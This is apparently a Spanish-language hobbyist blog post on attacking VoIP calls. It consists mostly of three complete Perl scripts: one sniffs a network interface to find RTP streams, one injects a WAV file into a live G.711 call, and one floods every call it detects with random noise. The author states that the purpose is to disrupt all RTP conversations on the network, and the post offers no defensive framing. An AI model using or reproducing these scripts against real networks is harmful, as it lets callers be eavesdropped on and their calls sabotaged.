Inyectando tráfico RTP en una conversación VoIP

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface);

	help() if ($interface eq "");

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else
	{
		print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i <= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
			$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
		}

		if ($new eq 1) {
			print "Protocol: UDP\n";
			print "Codec   : GSM\n" if ($codec eq "3");
			print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
			print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
			print "Codec   : Speex\n" if ($codec eq "225");
			print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
			print "IP 1    : $ipsrc:$portsrc\n";
			print "IP 2    : $ipdst:$portdst\n";

			push @src, $ipsrc.":".$portsrc;
			push @dst, $ipdst.":".$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print "\nClosed the pcap allready, the program exits now.\n";
	}
};

sub help {
	print qq{
Usage:  $0 -i <interface>

};

	exit 1;
}

init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=>$port,
		PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";

# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
	$rtp->mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet->payload($data);
	$packet->seq_num_increment();
	$packet->timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp->send( $packet );
	#print "Sent $sent bytes.\n";

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
	exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface,
	                         "v+" => \$v);

	help() if ($interface eq "");

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else {
		print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
		print "\nAre you root?\n";
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads <= $maxthreads) {
			my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
			$thr->detach();
			$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
			$thr->detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq "1") {
		print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
		print "GSM            \n" if ($payload eq "3");
		print "G.711          \n" if ($payload eq "0");
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=>$port,
			PeerAddr=>$address,
	) || die "Failed to create RTP socket: $!";

	# Set the TTL
	if ($rtp->superclass() =~ /Multicast/) {
		$rtp->mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet->payload_type( $payload );

	for (my $i = 0; $i < 100; $i++) {
		my $data;

		for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet->payload($data);
		$packet->seq_num_increment();
		$packet->timestamp_increment( $PAYLOAD_SIZE );

		$rtp->send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i <interface> [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos

Deja un comentario